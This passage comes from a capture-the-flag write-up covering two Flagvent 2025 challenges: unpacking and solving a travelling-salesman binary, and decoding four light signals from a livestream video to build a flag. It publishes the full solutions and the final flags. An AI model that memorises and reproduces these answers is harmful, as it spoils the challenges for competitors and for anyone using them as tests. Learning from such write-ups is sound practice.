shuffled_indices[rand_idx] = swap_temp;
}
It always prints the North pole first, then the rest of the list:
puts("Locations: ");
puts("North pole: (90.0, 0.0)");
for (print_idx = 1; print_idx < 0x1b; print_idx = print_idx + 1) {
puVar1 = locations + (long)print_idx * 2;
uVar3 = generate_random_coords();
*puVar1 = uVar3;
puVar1[1] = param_2;
param_2 = locations[(long)print_idx * 2 + 1];
printf(locations[(long)print_idx * 2],"%s: (%.6f, %.6f)\n",
(&PTR_s_North_pole_00419020)[shuffled_indices[print_idx]]);
}
Then it loops over 0x1b (27) times reading in results:
puts("Enter tour: ");
for (input_idx = 0; input_idx < 0x1b; input_idx = input_idx + 1) {
printf(&%u,input_idx);
user_distances[input_idx] = 0xbff0000000000000;
scanf(" %99[^:]:%lf%*[^\n]",user_location_names + (long)input_idx * 100,
user_distances + input_idx);
}
This shows the format of the data being read in is:
- Leading space - skip any whitespace (including leftover newlines)
%99[^:]- Read up to 99 chars that are NOT a colon →user_location_names:- Match literal colon (delimiter)%lf- Read a double (long float) →user_distances%*[^\n]everything until newline (consume rest of line)
So the expected input should look like:
North pole:0.0
Paris:1234.567890
Tokyo:5678.123456
Then there’s a function compute_optimal_tour which takes the locations (not the user input). Then it initializes some variables and enters a loop:
optimal_tour = compute_optimal_tour(locations);
cumulative_dist = 0.0;
is_valid = '\x01';
verify_idx = 0;
do {
if (0x1a < verify_idx) {
if (is_valid != '\x01') {
puts("Haha... No.");
exit(1);
}
puts(
"Great, now you\'re ready for the real tour!\n\n(Start a instance to access the big tour w hich will give the flag)\n"
);
exit(0);
/* WARNING: Bad instruction - Truncating control flow here */
halt_baddata();
}
rand_int = strncmp(user_location_names + (long)verify_idx * 100,
(&PTR_s_North_pole_00419020)
[shuffled_indices[*(uint *)(optimal_tour + (long)verify_idx * 4)]],99);
if (rand_int == 0) {
cVar2 = check_distance(user_distances[verify_idx],cumulative_dist);
if (cVar2 != '\x01') goto LAB_004023bb;
}
else {
LAB_004023bb:
is_valid = '\0';
}
dVar4 = (double)calc_distance(locations[(ulong)*(uint *)(optimal_tour + (long)verify_idx * 4) *
2],
(locations +
(ulong)*(uint *)(optimal_tour + (long)verify_idx * 4) * 2)[1],
locations[(ulong)*(uint *)(optimal_tour +
((long)verify_idx + 1) * 4) * 2],
(locations +
(ulong)*(uint *)(optimal_tour + ((long)verify_idx + 1) * 4) * 2)
[1]);
cumulative_dist = dVar4 + cumulative_dist;
verify_idx = verify_idx + 1;
} while( true );
The thing I send each time is the next city and the total distance so far. I need to understand how distance is calculated, but there are still some functions that are not unpacked, specifically compute_optimal_tour, check_distance, and calc_distance.
Patch Again
Now that I understand the format of the input, I can run further into the program. To get to the functions that need unpacking, I’ll have to enter 27 valid strings. I’ll use a simple loop:
oxdf@hacky$ python3 -c $'print()\nfor i in range(27): print("North Pole: 0.0")' | strace -o strace2.txt ./ttsp/chall
oxdf@hacky$ grep POKE strace2.txt > poke2.txt
I’ll repatch:
oxdf@hacky$ uv run patch.py poke2.txt chall-mod2
Calc Distance
The new code shows the calc_distance function deobfuscated:
double calc_distance(double lat1,double lon1,double lat2,double lon2)
{
undefined8 uVar1;
undefined8 uVar2;
double dVar3;
double sin2_dlat;
undefined8 uVar4;
double sin2_dlon;
double dVar5;
uVar1 = deg_to_rad(lat1);
uVar2 = deg_to_rad(lat2);
dVar3 = (double)deg_to_rad(lat2 - lat1);
sin2_dlat = (double)deg_to_rad(lon2 - lon1);
uVar4 = sin(dVar3 / 2.0);
dVar3 = (double)square(uVar4);
sin2_dlon = (double)cos(uVar1);
dVar5 = (double)cos(uVar2);
uVar1 = sin(sin2_dlat / 2.0);
sin2_dlat = (double)square(uVar1);
uVar1 = sqrt(sin2_dlat * dVar5 * sin2_dlon + dVar3);
dVar3 = (double)asin(uVar1);
return dVar3 * 12742.0;
}
It’s not that complex, but AI will simply tell me what it is:
Solve Script
The solve script will break down into X parts:
- Collect and parse locations.
- Solve traveling salesman problem
- Calculate distance at each stop
- Sends path + distances
I’ll write a main function that handles this organization, and handles this:
def main():
if '--remote' in sys.argv:
idx = sys.argv.index('--remote')
host = sys.argv[idx + 1] if idx + 1 < len(sys.argv) else None
if not host:
print("Usage: solve_final.py --remote <host>")
sys.exit(1)
p = remote(host, 31337, ssl=True)
else:
p = process('./ttsp/chall')
p.recvuntil(b"Press enter to begin...")
p.sendline(b"")
data = p.recvuntil(b"Enter tour:").decode()
locs = parse_locations(data)
print(f"[*] {len(locs)} locations")
tour = solve_mst_dfs(locs)
# Calculate cumulative distances and send
cumulative = 0.0
for i, idx in enumerate(tour):
name = locs[idx][0]
p.recvuntil(f"{i}:".encode())
p.sendline(f"{name}:{cumulative}".encode())
if i < len(tour) - 1:
next_idx = tour[i + 1]
cumulative += haversine(locs[idx][1], locs[idx][2], locs[next_idx][1], locs[next_idx][2])
print(f"[*] Total distance: {cumulative:.2f} km")
response = re.sub(rb'\x1b\[[0-9;]*m', b'', p.recvall(timeout=10)).decode()
print(response)
p.close()
It sets up the local or remote connection, gets the locations to process, calls the function to calculate the location order, sends back the results, and prints the flag.
parse_locations just uses regex to get each location name, lat, and long:
def parse_locations(output):
locations = []
for m in re.finditer(r'([A-Za-z][^:]+):\s*\(([^,]+),\s*([^)]+)\)', output):
locations.append((m.group(1).strip(), float(m.group(2)), float(m.group(3))))
return locations
haversine calculates that distance:
def haversine(lat1, lon1, lat2, lon2):
R = 6371.0
lat1, lon1, lat2, lon2 = map(math.radians, [lat1, lon1, lat2, lon2])
dlat, dlon = lat2 - lat1, lon2 - lon1
a = math.sin(dlat/2)**2 + math.cos(lat1) * math.cos(lat2) * math.sin(dlon/2)**2
return 2 * R * math.asin(math.sqrt(a))
Traveling Salesman
The only complex part is solving the traveling salesman problem. I’ll use Kruskal’s algorithm to solve:
def to_float32(d):
"""Convert to float32 - matches binary's (uint)(float) cast."""
return struct.unpack('f', struct.pack('f', d))[0]
class UnionFind:
def __init__(self, n):
self.parent = list(range(n))
def find(self, x):
if self.parent[x] != x:
self.parent[x] = self.find(self.parent[x])
return self.parent[x]
def union(self, x, y):
px, py = self.find(x), self.find(y)
if px != py:
self.parent[py] = px
return True
return False
def solve_mst_dfs(locs):
"""Build MST using Kruskal with float32 distances, stack-based DFS"""
n = len(locs)
edges = []
for i in range(n):
for j in range(i+1, n):
d = haversine(locs[i][1], locs[i][2], locs[j][1], locs[j][2])
d_f32 = to_float32(d)
edges.append((d_f32, i, j))
edges.sort()
uf = UnionFind(n)
adj = [[False] * n for _ in range(n)]
for d, u, v in edges:
if uf.union(u, v):
adj[u][v] = True
adj[v][u] = True
visited = [False] * n
tour = []
stack = [0]
while stack:
node = stack.pop()
if visited[node]:
continue
visited[node] = True
tour.append(node)
for neighbor in range(n):
if adj[node][neighbor] and not visited[neighbor]:
stack.append(neighbor)
return tour
Run
The resulting script works on both local:
oxdf@hacky$ uv run solve_final.py
[*] 27 locations
[*] Total distance: 117890.81 km
Great, now you're ready for the real tour!
(Start a instance to access the big tour which will give the flag)
And remote:
oxdf@hacky$ uv run solve_final.py --remote 9f3efbe4-87c9-4e92-a51e-9ad48f163dd7.challs.flagvent.org
[*] 131 locations
[*] Total distance: 228688.23 km
Good job! Here is your flag:
FV25{the-traveling-santa-problem}
Flag: FV25{the-traveling-santa-problem}
FV25.16
Challenge
Since the first attempt at offline password storage was broken by some tricky people the new password has been stored in an air gapped network server. Unfortunately Jinx the elf has stolen the server and used it to power his christmas tree stream. Can you use this situation to your advantage? https://www.youtube.com/watch?v=_GjJY-WsOb4 |
|
| Categories: |
|
| Level: | hard |
| Author: | Last Place |
The challenge includes only a link to a live stream on YouTube. Because the stream is well over 12 hours, it isn’t retained, but the author uploaded a 20 minute segment loaded up on the same channel:
This is truly a live stream that started when this challenge released and ran through the end of the competition. The challenge author would visit from time to time to add clues, update the whiteboard.
This was early in the competition:
The white clock signal was added to the top of the team four hours into the stream. Later, a clue about a minimum time to solve was added to the whiteboard:
I caught this snapshot after he added my name to the board:
Capture Signals
Enumeration
The lights on the tree are changing on and off about 4 times a second. The white (or yellow) light at the very top is like a clock. It alternates on and off every ~0.25 second. There are four colors, red, green, blue, and purple. All of the lights of the same color are on or off together.
I’ll download a copy of the 20 minute video using a YouTube downloader (be careful, many are full of malware). Throughout this challenge, I’ll use KDenLive video editing software to load the video and step through frame by frame. At first I manually recorded the bits at each transition, but once the hint was added that the minimum solve time was five minutes (which implies at least that much time is needed to get the full signal), I changed to a Python script.
I had Claude write the script to pull all the data, but I find it is much more useful if I gave it the pixel locations to check. I’ll use Gimp on an extracted frame to get the pixel offsets
I used the following targets:
- White (812, 110)
- Red (810, 141)
- Green (851, 305)
- Blue (836, 411)
- Purple (866, 415)
Which looks like:
Python
I’ll use the OpenCV library to process the video. I’ll start by defining some values and a get_brightness function:
#!/usr/bin/env python3
# /// script
# requires-python = ">=3.11"
# dependencies = [
# "opencv-python",
# ]
# ///
"""
Fast extraction - reads frames sequentially without seeking.
"""
import cv2
import time
VIDEO_PATH = "./FV25-16-Air-gapped-Christmas-Sample-2_Media_CWnG5pSBnZo_001_1080p.mp4"
OUTPUT_PATH = "./bitstream_final2.txt"
LIGHTS = {
'white': (812, 110),
'red': (810, 141),
'blue': (836, 411),
'green': (851, 305),
'purple': (866, 415),
}
THRESHOLDS = {
'red': 210,
'blue': 230,
'green': 200,
'purple': 220,
}
SAMPLE_OFFSET = 5
CLOCK_ON_THRESH = 240
CLOCK_OFF_THRESH = 225
def get_brightness(hsv_frame, x, y, radius=6):
y1, y2 = max(0, y-radius), min(hsv_frame.shape[0], y+radius)
x1, x2 = max(0, x-radius), min(hsv_frame.shape[1], x+radius)
region = hsv_frame[y1:y2, x1:x2, 2]
return int(region.max()) if region.size > 0 else 0
These thresholds took a lot of trial and error to arrive at.
I’ll load the video:
start_time = time.time()
cap = cv2.VideoCapture(VIDEO_PATH)
total_frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))
print(f"Total frames: {total_frames}")
frame_buffer = {}
results = []
prev_clock = None
pending_samples = []
Now I loop through the frames:
frame_idx = 0
while True:
ret, frame = cap.read()
if not ret:
break
hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)
brightness = {color: get_brightness(hsv, x, y) for color, (x, y) in LIGHTS.items()}
if prev_clock is None: # only on first frame
clock_state = 1 if brightness['white'] > CLOCK_ON_THRESH else 0
initial_states = {
'white': clock_state,
'red': 1 if brightness['red'] > THRESHOLDS['red'] else 0,
'blue': 1 if brightness['blue'] > THRESHOLDS['blue'] else 0,
'green': 1 if brightness['green'] > THRESHOLDS['green'] else 0,
'purple': 1 if brightness['purple'] > THRESHOLDS['purple'] else 0,
}
results.append((0, initial_states, brightness))
else:
if prev_clock:
clock_state = 1 if brightness['white'] > CLOCK_OFF_THRESH else 0
else:
clock_state = 1 if brightness['white'] > CLOCK_ON_THRESH else 0
if clock_state != prev_clock:
pending_samples.append((frame_idx + SAMPLE_OFFSET, clock_state))
for sample_frame, clock_state in pending_samples[:]:
if frame_idx == sample_frame:
states = {
'white': clock_state,
'red': 1 if brightness['red'] > THRESHOLDS['red'] else 0,
'blue': 1 if brightness['blue'] > THRESHOLDS['blue'] else 0,
'green': 1 if brightness['green'] > THRESHOLDS['green'] else 0,
'purple': 1 if brightness['purple'] > THRESHOLDS['purple'] else 0,
}
results.append((sample_frame - SAMPLE_OFFSET, states, brightness))
pending_samples.remove((sample_frame, clock_state))
prev_clock = clock_state
frame_idx += 1
if frame_idx % 5000 == 0:
elapsed = time.time() - start_time
pct = frame_idx / total_frames * 100
eta = (elapsed / frame_idx) * (total_frames - frame_idx)
print(f"\r {frame_idx}/{total_frames} ({pct:.1f}%) - ETA: {eta:.0f}s", end='')
For each frame, I get the brightness of each color. If it’s the first frame, I record it. Otherwise, I check if the clock state changed. If it did, I record the clock state and a frame ID that’s five frames later. I found that sometimes the clock changes before the other lights, so it was helpful to look a bit forward.
Now if there are any pending samples, I check if they are for the current time, and if so, I process them.
Finally I update the previous clock state, increment the frame index, and output some status lines.
Once the loop exits, I’ll release the video, save the results, and print some stats / initial results for spot checking:
cap.release()
elapsed = time.time() - start_time
print(f"\rDone! Processed {frame_idx} frames in {elapsed:.1f}s" + " " * 20)
print(f"Total samples: {len(results)}")
# Save results
with open(OUTPUT_PATH, 'w') as f:
f.write("# Bitstream - Final extraction\n")
f.write(f"# Total samples: {len(results)}\n\n")
for frame, states, brightness in results:
ts = frame / 30.0
f.write(f"{ts:10.3f}s {frame:6d} W:{states['white']} R:{states['red']} B:{states['blue']} G:{states['green']} P:{states['purple']}\n")
print(f"Results saved to {OUTPUT_PATH}")
# Print bit patterns
print()
print("="*70)
print("BIT PATTERNS (first 32 bits):")
for color in ['white', 'red', 'blue', 'green', 'purple']:
bits = ''.join([str(states[color]) for _, states, _ in results])
print(f"\n{color.upper():6s}: {bits[:32]}")
print(f" Length: {len(bits)} bits")
It takes about a minute to process the full 20 minute video:
oxdf@hacky$ uv run extract.py
Total frames: 36004
Done! Processed 36004 frames in 60.5s
Total samples: 4702
Results saved to ./bitstream_final2.txt
======================================================================
BIT PATTERNS (first 32 bits):
WHITE : 10101010101010101010101010101010
Length: 4702 bits
RED : 10111011100000000000111000010101
Length: 4702 bits
BLUE : 01010100101011010101010101001010
Length: 4702 bits
GREEN : 00110010100100000011000010111001
Length: 4702 bits
PURPLE: 01100111010001100100110101100101
Length: 4702 bits
Extract Pre-Flags
Each color has a different signal in it, producing it’s own “flag”.
Red
The red bits showed a lot of patterns where the light was one for 1 or 3 clock cycles. Seeing short and long constant length pulses like this is typical for morse code. I’ll write a simple Python script that will try to decode this:
MORSE = {
'.-': 'A', '-...': 'B', '-.-.': 'C', '-..': 'D', '.': 'E',
'..-.': 'F', '--.': 'G', '....': 'H', '..': 'I', '.---': 'J',
'-.-': 'K', '.-..': 'L', '--': 'M', '-.': 'N', '---': 'O',
'.--.': 'P', '--.-': 'Q', '.-.': 'R', '...': 'S', '-': 'T',
'..-': 'U', '...-': 'V', '.--': 'W', '-..-': 'X', '-.--': 'Y',
'--..': 'Z', '-----': '0', '.----': '1', '..---': '2',
'...--': '3', '....-': '4', '.....': '5', '-....': '6',
'--...': '7', '---..': '8', '----.': '9', '-....-': '-',
}
with open("./bitstream_final.txt") as f:
lines = f.readlines()
red_bits = []
for line in lines:
if line.startswith('#') or not line.strip():
continue
red = int(line.split(':')[2].split()[0])
red_bits.append(red)
morse_out = []
text_out = []
current_letter = ""
i = 0
while i < len(red_bits):
if red_bits[i] == 1:
count = 0
while i < len(red_bits) and red_bits[i] == 1:
count += 1
i += 1
if count == 1:
morse_out.append('.')
current_letter += '.'
elif count == 3:
morse_out.append('-')
current_letter += '-'
else:
morse_out.append(f'?{count}')
current_letter += f'?{count}'
else:
count = 0
while i < len(red_bits) and red_bits[i] == 0:
count += 1
i += 1
if count >= 2:
if current_letter:
text_out.append(MORSE.get(current_letter, f'[{current_letter}]'))
current_letter = ""
if count >= 7:
morse_out.append(' ')
text_out.append(' ')
else:
morse_out.append(' ')
if current_letter:
text_out.append(MORSE.get(current_letter, f'[{current_letter}]'))
print("MORSE:")
print(''.join(morse_out))
print()
print("TEXT:")
print(''.join(text_out))
The result is a bit messy:
oxdf@hacky$ uv run red.py
MORSE:
.-- - .... . ..-. ..- -. -.-- .--- ..- .-. . ?14 ..?4 . ... - . -.. -....- -....- ..-. ...- ..--- ..... -. ?7- - - .... . .-- .... --- .-.. . ..-. .-.. .- --. .. ... ...- . .-. . ?31. .... --- .--. . -.-- --- .?5 . -. .--- ?12 -.--. ?8... -.. ..-. ?2.- -. ?4.?7. ?7- ..- .-. . --.- ..- . ... - . -.. -....- -....- ..-. ?14.?7- ..... -. --- ?4 - ?9?2. .?7 .... -?7 .-.. . ..-. .-.. .?10-.?13. ...?6 .-?6 ?31. .... --- .--..- .-.-- -?7 ..- . -. .?7- --- ?6--?5 - ?7 . ..-. ..- -. -.--?2--- ...- .-. . --.- ..?4-. -. - .. -.. -....- -.-.- .?7 ...?5?4--- .-.. -. --- - ?8... . .-?5 .... ---.?6.. . ..-- .?17 ?4-. .. ?2.. .... . ?5. . ?31. ?8..?2 -?7 .--. . -.-- --- ..- . -. .--- --- ?15 ?11.. . ..-. ...- .-. -.-- -?9?2.- .-. . ?9- ..- . ... ?4 . -.- -....- -....- ..-. ...- ..--- ..... -. --- - - .... . .-- .... .--- .-.. . ..-. ?6.. ?5 -?5 .. ?4. .... .. .-. ... ?31. .... --- .--. . -.-- --- ..- . -. .--- ?4-- -.?7 ?2 ?6.... . . ..-. ...- -. -.-- --- ..- .?5 . --?5 ..- . ... - . -.. -....- -.-.?4 ..-. ...?5 ..--?5 ..... -. ?7- - - .... . .-- .... -?7 .?5. . ..?5 .-.. .?5 ?14. ....?4- ?2 .-. . ?31. ..... --- .--. . -.-- --- ..- . -. .--- --- -.-- .?9 .... . ..-. ..- -. -.-- --- ..- .-. ?10-.- ..- . ... - . -.. -....- -....- ..-. ...- ..--- ..... -. --- - - .... . .-- .... --- .-.. . ..-. .-.. .- --. .. ... .... . .-. . ?31. .... --- .--. . . -.-- --- ..- . -. .--- --- -.-- - .... . ..-. ..- -. -?5- --- ...- ?5. . --.- ..- . ... - . -
TEXT:
W THE FUN YJU RE[?14][..?4]ESTED -- FV25 N[?7-]TTHEWHOLEFLAGISVERE [?31.] HOPE YO[.?5] ENJ[?12][-.--.] [?8...]D F[?2.-]N [?4.?7.][?7-]U REQUESTED -- F[?14.?7-]5 NO[?4]T[?9?2.][.?7]H[-?7]LEFL[.?10-.?13.][...?6][.-?6] [?31.] HO[.--..-] [.-.--][-?7]U EN[.?7-]O[?6--?5]T[?7]E FUN [-.--?2---]V REQ[..?4-.]NTID -[-.-.-] [.?7][...?5?4---]L NOT[?8...]E[.-?5]H[---.?6..]E[..--][.?17][?4-.]I[?2..]HE[?5.]E [?31.][?8..?2][-?7]PE YOU ENJO[?15] [?11..]E FVR Y[-?9?2.-] RE[?9-]UES[?4]EK -- FV25 NOTTHEWHJLEF[?6..][?5][-?5]I[?4.]HIRS[?31.] HOPE YOU ENJ[?4--][-.?7][?2] [?6....]EE FVN YOU [.?5]E[--?5]UESTED -[-.-.?4] F[...?5][..--?5]5 N[?7-]TTHEWH[-?7][.?5.]E[..?5]L[.?5][?14.][....?4-][?2]RE [?31.] 5OPE YOU ENJOY[.?9]HE FUN YOU R[?10-.-]UESTED -- FV25 NOTTHEWHOLEFLAGISHERE [?31.] HOPEE YOU ENJOY THE FUN [-?5-]OV [?5.]EQUESTET
There are many runs of too many 1s to be legit morse (shown as ? and a number). These are probably errors in my bitstream. I do see at the bottom this:
FV25 NOTTHEWHOLEFLAGISHERE [?31.] HOPEE YOU ENJOY THE FUN
A bit of a guess (especially after seeing the other pre-flags), I’ll take from the red FV25{NOTTHEWHOLEFLAGISHERE}.
Green
The green signal is just binary data using the extracted bits.
with open("./bitstream_final.txt") as f:
lines = f.readlines()
bits = ''
for line in lines:
if line.startswith('#') or not line.strip():
continue
green = int(line.split(':')[4].split()[0])
bits += str(green)
for offset in range(8):
output = ''.join(chr(int(bits[i:i+8], 2)) for i in range(offset, len(bits), 8))
if 'FV' in output:
print(''.join(c if c.isprintable() else '?' for c in output))
This can get messy, but there’s clearly a message in there:
The message is:
I hope you enjoy the ‘fun’ you requested – FV25{There are more 2 find}
So this part of the flag is FV25{There are more 2 find}.
Blue
Blue is using a Manchester Encoding, which measures 1s and 0s as low-high or high-low. This has the advantage of effectively having a built-in clock signal.
I’ll run two passes over the data. First, looking for the Manchester decode to get a new series of bits, and then turning those bits into bytes and looking for ASCII strings. For the Manchester decode, I could start at 0 or 1, and then for the bits to bytes it could start at any of bit 0-7.
The code looks like:
with open("./bitstream_final.txt") as f:
lines = f.readlines()
bits = ''
for line in lines:
if line.startswith('#') or not line.strip():
continue
blue = int(line.split(':')[3].split()[0])
bits += str(blue)
def manchester_decode(bits, offset=0):
decoded = ''
for i in range(offset, len(bits)-1, 2):
decoded += '1' if bits[i] == bits[i+1] else '0'
return decoded
def decode_text(decoded, bit_offset):
text = ''.join(chr(int(decoded[i:i+8], 2)) if len(decoded[i:i+8]) == 8 else ''
for i in range(bit_offset, len(decoded), 8))
return ''.join(c if 32 <= ord(c) < 127 else '?' for c in text)
for offset in range(2):
print(f"=== Offset {offset}")
decoded = manchester_decode(bits, offset)
for bit_offset in range(8):
text = decode_text(decoded, bit_offset)
if 'FV25' in text or 'fun' in text.lower() or 'hope' in text.lower():
print(f" bit_offset {bit_offset}: {text}")
Running it dumps a few things that look like the flag:
oxdf@hacky$ uv run blue.py
=== Offset 0
bit_offset 0: ????&R???f??B???b?gV????$??????-?????M?$???????????-???L?.??n?????????F?f$???L??F??-????.?????/??H????h?[?H?[???H???H???[???[?H??\]Y\??Y??KH????^?H?[??H????[????]???[?_???47?2?<???2?57??*42???:???<?:??2????z2?????#+?????&??2???34?2?40??3;?>??? hope you enjoy the 'fun' you reque3ted -- FV25{1
bit_offset 1: $???L??????????&?????/??H????H?[?H?_???H???H???[???[?H??\]Y\??Y(?KH????^?H?[??H????[????]???[?_???4'?:?<???2?57??:42???:???<???92?????2?????#+?????&??2???34?2?40??3:?~??? hope you enjoy The 'fun' yju ~equer?e? --(FV25?1 More 2 find hav fwn}???@????@???@?????@???@N???N@???@?????f???@ZZ@??dj?b@
bit_offset 2: H?[??H?????????M???[?_???07?2?<???2?57??:42???:???<???92?????2?P???#??????&??2???34?2?40??;:?4??? hOpu?you enjoy the 'fun' you requested -- FV25{1 More 2 find hav fun????@????@???@?????@???@N???N@???@?????????@ZZP??dj?b@????@d@????@???@??????$????????????????????????????????????????????X?????
bit_offset 3: ?&??2???37?2?40??3:?<??? `oxe you e~joy the 'fun' you requested?-- F~25{1 More 20find hat,vuni???@????@???@?????@???@N???N@???@?????????@ZZ@??dj?b@????@d@????@???@??????$????????????????Q???????????????????????????X?????5?????????????????????I?C{?)??{??+sS{???C)?;3?q9??{???+??)??+!?ii?2??????
bit_offset 4: More > fond ha6 funy???@????@???@?????@???@N???N@???@?????????@ZZ@??dj?b@????@d`????@???X??????$??=?????????????????????????????????????????X?????5?????????????????????I?C{?)??{??+sS{???C)?;3?q9??S???+??+??/!?iiB2??????k{?)???3Ks!?C???3?s????????R???R?V?????F?R?vgV?r???R?&W?VS7FVB????ec#W???
=== Offset 1
Piecing together the message around the bit errors, I see: hope you enjoy the 'fun' you reque3ted -- FV25{1 More 2 find hav fun}.
Purple
The purple signal is 8b/10b encoded. I’ll need to use a translation table from the article, which results in this:
with open("./bitstream_final.txt") as f:
lines = f.readlines()
bits = ''
for line in lines:
if line.startswith('#') or not line.strip():
continue
purple = int(line.split(':')[5])
bits += str(purple)
# 8b/10b lookup tables
DECODE_5B6B = {}
ENCODE_5B6B_RDN = {
0: 0b100111, 1: 0b011101, 2: 0b101101, 3: 0b110001,
4: 0b110101, 5: 0b101001, 6: 0b011001, 7: 0b111000,
8: 0b111001, 9: 0b100101, 10: 0b010101, 11: 0b110100,
12: 0b001101, 13: 0b101100, 14: 0b011100, 15: 0b010111,
16: 0b011011, 17: 0b100011, 18: 0b010011, 19: 0b110010,
20: 0b001011, 21: 0b101010, 22: 0b011010, 23: 0b111010,
24: 0b110011, 25: 0b100110, 26: 0b010110, 27: 0b110110,
28: 0b001110, 29: 0b101110, 30: 0b011110, 31: 0b101011,
}
ENCODE_5B6B_RDP = {
0: 0b011000, 1: 0b100010, 2: 0b010010, 3: 0b110001,
4: 0b001010, 5: 0b101001, 6: 0b011001, 7: 0b000111,
8: 0b000110, 9: 0b100101, 10: 0b010101, 11: 0b110100,
12: 0b001101, 13: 0b101100, 14: 0b011100, 15: 0b101000,
16: 0b100100, 17: 0b100011, 18: 0b010011, 19: 0b110010,
20: 0b001011, 21: 0b101010, 22: 0b011010, 23: 0b000101,
24: 0b001100, 25: 0b100110, 26: 0b010110, 27: 0b001001,
28: 0b001110, 29: 0b010001, 30: 0b100001, 31: 0b010100,
}
for val, code in ENCODE_5B6B_RDN.items():
DECODE_5B6B[code] = val
for val, code in ENCODE_5B6B_RDP.items():
DECODE_5B6B[code] = val
DECODE_3B4B = {}
ENCODE_3B4B_RDN = {0: 0b1011, 1: 0b1001, 2: 0b0101, 3: 0b1100, 4: 0b1101, 5: 0b1010, 6: 0b0110, 7: 0b1110}
ENCODE_3B4B_RDP = {0: 0b0100, 1: 0b1001, 2: 0b0101, 3: 0b0011, 4: 0b0010, 5: 0b1010, 6: 0b0110, 7: 0b0001}
for val, code in ENCODE_3B4B_RDN.items():
DECODE_3B4B[code] = val
for val, code in ENCODE_3B4B_RDP.items():
DECODE_3B4B[code] = val
DECODE_3B4B[0b0111] = 7
DECODE_3B4B[0b1000] = 7
def decode_8b10b(bits_10):
if len(bits_10) != 10:
return None
six_bit = int(bits_10[:6], 2)
four_bit = int(bits_10[6:], 2)
if six_bit in DECODE_5B6B and four_bit in DECODE_3B4B:
return (DECODE_3B4B[four_bit] << 5) | DECODE_5B6B[six_bit]
return None
def decode_stream(bits, offset):
decoded = []
for i in range(offset, len(bits) - 9, 10):
val = decode_8b10b(bits[i:i+10])
decoded.append(val if val is not None else 0)
return decoded
for offset in range(10):
decoded = decode_stream(bits, offset)
text = ''.join(chr(b) if 32 <= b < 127 else f'[\\x{b:02x}]' for b in decoded)
if 'FV25' in text or 'fun' in text.lower() or 'hope' in text.lower():
print(f"=== Offset {offset} ===")
print(f" {text}")
This shows only one bit offset that results in values of interest:
oxdf@hacky$ uv run purple.py
=== Offset 7 ===
o[\x19]d9Ux%]c-+wG?pqg$<*}[\x00][\x00][\x00]I hope you enjoy the 'fun' you reques[\xf4]ed -- FV25{[\x7f]o[\x19]d9Ux%]c-+wG?tqg$<*}[\x00][\x00][\x00]I h[\x00][\x00]e you enjoy the 'fun' you requested -- FV25{[\x7f]o[\x19]d9Ux%]c-+wG?tqg$<*}[\x00][\x00][\x00]I hope you enjoy the 'fun' you requested -- FV25{[\x7f]o[\x19]d9Ux%]c-+wG?tqg$<*}[\x00][\x00][\x00]I hope you enjoy the 'fun' you requested -- FV25{[\x7f]o[\x19]d9Ux%]c-+wG?tqg$<*}[\x00][\x00][\x00]I hope you enjoy the 'fu[\x00]' you requested -- FV25{[\x7f]o[\x19]d9Ux%]c-+wG?tqg$<*}[\x00][\x00][\x00]I hope you enjoy the 'fun' you requested -- FV25{[\x7f]o[\x19]d9Ux%]c-+wG?tqg$<*}[\x00][\x00][\x00]I
The flag here has two non-ASCII characters in it, but that’s actually expected: FV25{[\x7f]o[\x19]d9Ux%]c-+wG?tqg$<*}
Final Flag
None of the flags from the color work as the challenge flag, and the hints in the challenge suggest I need all four. I’ll note that they are all the same length (when I use “?” for the non-ASCII bytes in purple):
FV25{NOTTHEWHOLEFLAGISHERE}FV25{There are more 2 find}FV25{1 More 2 find hav fun}FV25{?o?d9Ux%]c-+wG?tqg$<*}
If I take each one, and XOR them all together byte by byte, a new flag results:
>>> red = b'NOTTHEWHOLEFLAGISHERE'
>>> green = b'There are more 2 find'
>>> blue = b'1 More 2 find hav fun'
>>> purple = b'\x7fo\x19d9Ux%]c-+wG?tqg$<*'
>>> 'FV25{' + ''.join(chr(r ^ g ^ b ^ p) for r, g, b, p in zip(red, green, blue, purple)) + '}'
'FV25{The-fUn-Will-C0ntinue}'
Flag: FV25{The-fUn-Will-C0ntinue}